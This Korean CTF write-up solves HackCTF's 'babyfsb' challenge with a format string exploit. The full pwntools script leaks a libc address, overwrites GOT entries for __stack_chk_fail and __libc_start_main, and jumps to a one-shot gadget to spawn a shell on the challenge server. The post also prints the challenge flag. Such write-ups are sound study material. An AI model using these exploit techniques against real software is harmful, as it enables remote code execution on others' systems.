-
babyfsbCTF/HackCTF 2021. 2. 5. 05:26
Disassembly 디스어셈블리
undefined8 main(void) { undefined8 uVar1; int64_t in_FS_OFFSET; char *format; int64_t canary; canary = *(int64_t *)(in_FS_OFFSET + 0x28); setvbuf(_reloc.stdout, 0, 2, 0); puts("hello"); read(0, &format, 0x40); printf(&format); uVar1 = 0; if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) { uVar1 = __stack_chk_fail(); } return uVar1; }
main은 read로 0x40바이트만큼 입력받아 이를 printf로 출력하기 때문에 포맷 스트링 버그가 발생한다.
Format String Bug
system 함수나 syscall 명령어가 없기 때문에 라이브러리 주소를 알아낼 필요가 있다.
main 함수는 __libc_start_main으로부터 호출되었기 때문에 rsp에 그 주소가 저장되어 있다. 따라서 FSB를 이용해 libc address leak이 가능하다.
공격을 이어나가기 위해서는 read와 printf를 통한 포맷 스트링 버그를 지속적으로 이용할 필요가 있다. SSP가 적용되어 있으므로 __stack_chk_fail 함수를 호출하는 과정을 이용하자. __stack_chk_fail의 got를 main의 주소로 덮어쓰고 입력을 통해 카나리를 고의적으로 훼손하면 main을 반복해서 호출할 수 있다.
payload = b"%15$lx\x90\x90" payload += fmtstr_payload(7, {ssp_got: main}, numbwritten = 14) payload += b"\x90"*(0x40-len(payload)) p.recvuntil("hello\n") p.send(payload) libc_start_main = int(p.recv(12), 16) - 240 libc = libc_start_main - l.symbols["__libc_start_main"] log.info("libc : " + hex(libc))
rsp를 알아내기 위해 %15$lx를 payload 앞에 넣어주고 offset을 6에서 7로 늘려주었다. 또한 %lx로 출력되는 주소가 12자리, padding을 위해 넣어준 \x90이 2자리의 출력을 차지하므로 numbwritten에는 14를 넣어주었다.
또한 libc_start_main이 main을 호출하는 부분의 offset은 라이브러리 버전에 따라 다르지만 보통 +240 또는 +243이다. libc base address는 마지막 바이트가 항상 0이라는 점을 이용하면 정확한 offset을 계산할 수 있다.
라이브러리 주소를 알아냈으니 system("/bin/sh")를 호출해도 되고, oneshot gadget을 이용해도 된다. 먼저 oneshot gadget의 constraints를 살펴보자.
main이 반복해서 호출될 때마다 rsp가 0x50만큼 감소한다는 점과 read를 통해 스택에 원하는 값을 써넣을 수 있음을 이용하면 조건을 만족할 수 있으므로 oneshot gadget을 이용하자.
이때 특정 함수의 got를 oneshot으로 덮으려고 하면 0x40바이트라는 버퍼 크기의 제약을 받게 된다. 따라서 main에서 호출되지 않는 libc_start_main 함수의 got를 oneshot으로 1바이트씩 나눠서 덮은 뒤, 이를 이용해 공격을 진행할 것이다.
for i in range(8): payload = fmtstr_payload(6, {libc_start_main_got+i: u8(p64(oneshot)[i:i+1])}, write_size = 'byte') payload += b"\x90"*(0x40-len(payload)) payload = payload.replace(b"lln",b"hhn",1) p.recvuntil("hello\n") p.send(payload)
pwntools의 fmtstr 함수들은 write_size를 byte로 설정해도 %hhn이 아니라 %lln을 사용해 원하지 않는 영역까지 덮어버리는 경우가 있으므로 replace를 통해 변환해주자.
payload = b"\x00"*0x40 p.recvuntil("hello\n") p.send(payload) payload = b"/bin/sh\x00" payload = fmtstr_payload(6, {ssp_got: libc_start_main_plt}) payload += b"\x90"*(0x40-len(payload)) p.recvuntil("hello\n") p.send(payload)
마지막으로 스택을 null바이트로 채워 가젯의 조건을 만족시킨 다음, __stack_chk_fail의 got를 libc_start_main의 plt로 덮어씀으로써 oneshot을 호출하면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./babyfsb" lib = "./libc.so.6" server = "ctf.j0n9hyun.xyz" port = 3032 # context.log_level = 'debug' context.binary = binary if True: p = remote(server, port) else: p = process(binary) gdb.attach(p) e = ELF(binary) r = ROP(e) l = ELF(lib) e.checksec() main = e.symbols["main"] ssp_got = e.got["__stack_chk_fail"] libc_start_main_plt = e.plt["__libc_start_main"] libc_start_main_got = e.got["__libc_start_main"] payload = b"%15$lx\x90\x90" payload += fmtstr_payload(7, {ssp_got: main}, numbwritten = 14) payload += b"\x90"*(0x40-len(payload)) p.recvuntil("hello\n") p.send(payload) libc_start_main = int(p.recv(12), 16) - 240 libc = libc_start_main - l.symbols["__libc_start_main"] log.info("libc : " + hex(libc)) oneshot_offset = [0x45216, 0x4526a, 0xf02a4, 0xf1147] oneshot = libc + oneshot_offset[2] for i in range(8): payload = fmtstr_payload(6, {libc_start_main_got+i: u8(p64(oneshot)[i:i+1])}, write_size = 'byte') payload += b"\x90"*(0x40-len(payload)) payload = payload.replace(b"lln",b"hhn",1) p.recvuntil("hello\n") p.send(payload) payload = b"\x00"*0x40 p.recvuntil("hello\n") p.send(payload) payload = b"/bin/sh\x00" payload = fmtstr_payload(6, {ssp_got: libc_start_main_plt}) payload += b"\x90"*(0x40-len(payload)) p.recvuntil("hello\n") p.send(payload) p.recv() p.interactive()
Flag
HackCTF{v3ry_v3ry_345y_f5b!!!}
'CTF > HackCTF' 카테고리의 다른 글
Pwning (0) 2021.02.05 Unexploitable #3 (0) 2021.02.05 Unexploitable #2 (0) 2021.02.05 RTC (0) 2021.02.05 Register (0) 2021.02.04